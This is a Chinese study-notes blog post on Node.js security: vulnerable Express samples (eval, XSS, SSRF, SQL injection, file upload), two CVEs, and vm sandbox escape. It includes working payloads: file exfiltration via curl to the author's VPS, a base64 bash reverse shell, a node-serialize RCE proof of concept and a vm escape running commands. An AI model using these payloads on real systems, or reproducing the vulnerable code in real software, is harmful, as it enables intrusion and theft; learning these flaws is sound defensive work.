前言
对于最近学习node.js的一些总结~
设置安全的HTTP头
在Node.js中可以通过强制设置一些安全的HTTP头来加强网站的安全系数,比如以下:
Strict-Transport-Security //强制使用安全连接(SSL/TLS之上的HTTPS)来连接到服务器。
X-Frame-Options //提供对于点击劫持的保护。
X-XSS-Protection //开启大多现代浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。
X-Content-Type-Options // 防止浏览器使用MIME-sniffing 来确定响应的类型,转而使用明确的content-type来确定。
Content-Security-Policy // 防止受到跨站脚本攻击以及其他跨站注入攻击。
目前Helnet第三方模块已经帮开发人员设置好了,直接将它引入到我们的系统就可以了,代码如下
var express = require('express');
var helmet = require('helmet')
var app = express();
app.use(helmet())
app.get('/', function (req, res){
res.end("hello ghtwf01")
})
var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
})
代码执行
示例代码如下
var express = require('express');
var app = express();
app.get('/eval', function (req, res){
res.send(eval(req.query.code));
})
var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
})
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');
来进行调用
1.执行命令(打开微信)
code=require('child_process').exec('open /Applications/WeChat.app');
2.读取任意文件
因为没有回显所以需要数据外带
我们在自己的vps上写一个获取数据的文件test.php
<?php
$content = $_POST['content'];
file_put_contents("content.txt", $content);
?>
然后执行命令
code=require('child_process').exec('curl -d "content=`cat /users/ghtwf01/Desktop/flag`" http://localhost:8890/test.php');
成功在自己vps上生成文件读取到文件内容
3.反弹shell
code=require('child_process').exec('YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx'|base64 -d|bash');
YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx
是bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
的base64编码
如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('')
来执行命令
除了eval函数能动态执行代码,setInteval、setTimeout、 new Function等函数也有相同的功能
XSS
Node.js不像java有很强大的过滤器,过滤用户的有害输入、缓解xss十分方便。但是可以通过设置HTTP头中加入X-XSS-Protection,来开起浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。由于本身没有xss防护机制 ,若是未经过滤直接显示外部的输入则导致XSS。
如下:
var express = require('express');
var app = express();
app.get('/xss', function (req, res){
res.end(req.query.content);
})
var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
})
程序直接将用户的输入显示到前端页面:
SSRF
ssrf漏洞在存在于大多数的编程语言中,node.js也不例外,只要web系统接收了外界输入的URL,并且通过服务端程序直接调用就会造成相应的漏洞
代码如下
var express = require('express');
var app = express();
var needle = require('needle');
app.get('/ssrf', function (req, res){
var url = req.query['url'];
needle.get(url);
res.end('new request:'+url);
})
var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
})
SQL注入
示例代码
var express = require('express');
var app = express();
var mysql = require('mysql');
var connection = mysql.createConnection({
host : 'localhost',
user : 'root',
password : 'root',
database : 'users',
port : '8889'
});
connection.connect();
app.get('/sqli', function (req, res){
var id = req.query.id;
var sql = "select * from user where id="+id;
connection.query(sql,function(error, result){
if (error) {
res.send(error);
}
res.send(result[0]);
});
connection.end();
})
var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
})
成功实现注入
文件上传
形成的原因同样是因为未对上传文件作限制或限制不当
file.html
<html>
<head>
<title>文件上传表单</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<h3>文件上传:</h3>
选择一个文件上传: <br />
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="image" size="50" />
<br />
<input type="submit" value="上传文件" />
</form>
</body>
</html>
test.js
var express = require('express');
var app = express();
var fs = require("fs");
var bodyParser = require('body-parser');
var multer = require('multer');
app.use('/public', express.static('public'));
app.use(bodyParser.urlencoded({ extended: false }));
app.use(multer({ dest: '/tmp/'}).array('image'));
app.get('/file.html', function (req, res) {
res.sendFile( __dirname + "/" + "file.html" );
})
app.post('/upload', function (req, res) {
console.log(req.files[0]); // 上传的文件信息
var des_file = __dirname + "/" + req.files[0].originalname;
fs.readFile( req.files[0].path, function (err, data) {
fs.writeFile(des_file, data, function (err) {
if( err ){
console.log( err );
}else{
response = {
message:'File uploaded successfully',
filename:req.files[0].originalname
};
}
console.log( response );
res.end( JSON.stringify( response ) );
});
});
})
var server = app.listen(8888, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
})
npm
任何人都可以创建模块发布到npm上,供别人调用,虽然这为开发者带来了一定的便利性,但必然隐藏着安全隐患,如果使用了存在漏洞的第三方模块,那么就会有严重的安全问题。
node-serialize反序列化RCE漏洞(CVE-2017-5941)
这里首先需要了解一个知识叫IIFE(立即调用函数表达式),是一个在定义时就会立即执行的 JavaScript 函数
IIFE一般写成下面两种形式:
(function(){ /* code */ }());
(function(){ /* code */ })();
例如
和
现在开始分析node-serialize的漏洞点
位于node_modules\node-serialize\lib\serialize.js第75行中
可以看到传入的值在eval函数里面且被一对括号包裹,所以如果我们构造function(){}()
函数,在反序列化时就会被当作IIFE立即调用执行
poc:
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));
得到
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}"}
因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个()
,结果如下:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}()"}
这个时候我们将其进行反序列化,代码如下
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'whoami\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);
成功执行命令
Node.js 目录穿越漏洞(CVE-2017-14849)
漏洞影响版本:
- Node.js 8.5.0 + Express 3.19.0-3.21.2
- Node.js 8.5.0 + Express 4.11.0-4.15.5
vulhub一键搭建环境
cd vulhub/node/CVE-2017-14849/
docker-compose build
docker-compose up -d
burpsuite抓包
现在开始分析漏洞点,先下载安装源码
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz && tar -zxvf 4.15.5.tar.gz && cd express-4.15.5 && npm install
位于Express的Send组件0.11.0-0.15.6版本pipe()函数中(/express-4.15.5/node_modules/send/index.js)
SendStream.prototype.pipe = function pipe (res) {
// root path
var root = this._root
// references
this.res = res
// decode the path
var path = decode(this.path)
if (path === -1) {
this.error(400)
return res
}
// null byte(s)
if (~path.indexOf('\0')) {
this.error(400)
return res
}
var parts
if (root !== null) {
// malicious path
if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) {
debug('malicious path "%s"', path)
this.error(403)
return res
}
// join / normalize from optional root dir
path = normalize(join(root, path))
root = normalize(root + sep)
关键位置是
if (root !== null) {
// malicious path
if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) {
debug('malicious path "%s"', path)
this.error(403)
return res
}
// join / normalize from optional root dir
path = normalize(join(root, path))
root = normalize(root + sep)
这里有两个需要认识的函数
1.path.normalize()函数规范化给定的 path
:http://nodejs.cn/api/path/path_normalize_path.html
2.path.join()函数将多个参数组合成一个path
:https://www.jb51.net/article/58298.htm
Send模块通过normalize('.' + sep + path)
标准化路径path后,并没有赋值给path,而是仅仅判断了下是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断,就能把目录跳转字符带入join(root, path)
函数中,跳转到我们想要跳转到的目录中
接下来的分析可参考:https://paper.seebug.org/439/
vm沙盒逃逸
vm可以理解为在一个虚拟环境中运行代码然后将结果取出来,这样可以防止恶意代码在主程序上执行
下面举一个例子,代码如下
const vm = require('vm');
const x = 1;
const context = { x: 2 };
vm.createContext(context); // Contextify the object.
const code = 'x += 40; var y = 17;';
// `x` and `y` are global variables in the context.
// Initially, x has the value 2 because that is the value of context.x.
vm.runInContext(code, context);
console.log(context.x); // 42
console.log(context.y); // 17
console.log(x); // 1; y is not defined.
总结一下就是先将x=2放入沙盒并创建一个沙盒,然后将代码(x += 40; var y = 17;)放入沙盒中执行,因为最开始创建沙盒的时候定义了x=2,所以在此基础上在沙盒中进行运算得到x=42,y=17。因为const x=1是在沙盒外定义的,所以和沙盒无关,值仍然为1。
虽然拥有沙盒来帮助执行代码,但是vm还是轻松逃逸出去,因为this.__proto__
指向的是主环境的Object.prototype
const vm = require('vm');
const context = { x:2 };
const script = new vm.Script(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()`);
vm.createContext(context);
var result = script.runInContext(context);
console.log(result);
- 第一步
this.constructor.constructor
通过继承链最终拿到主环境的Function
-
this.constructor.constructor('return process')()
构造了一个函数并执行,拿到主环境的process
变量 - 通过
process.mainModule.require
导入child_process
模块,命令执行
参考链接
https://www.jb51.net/article/127896.htm
https://www.freebuf.com/articles/web/152891.html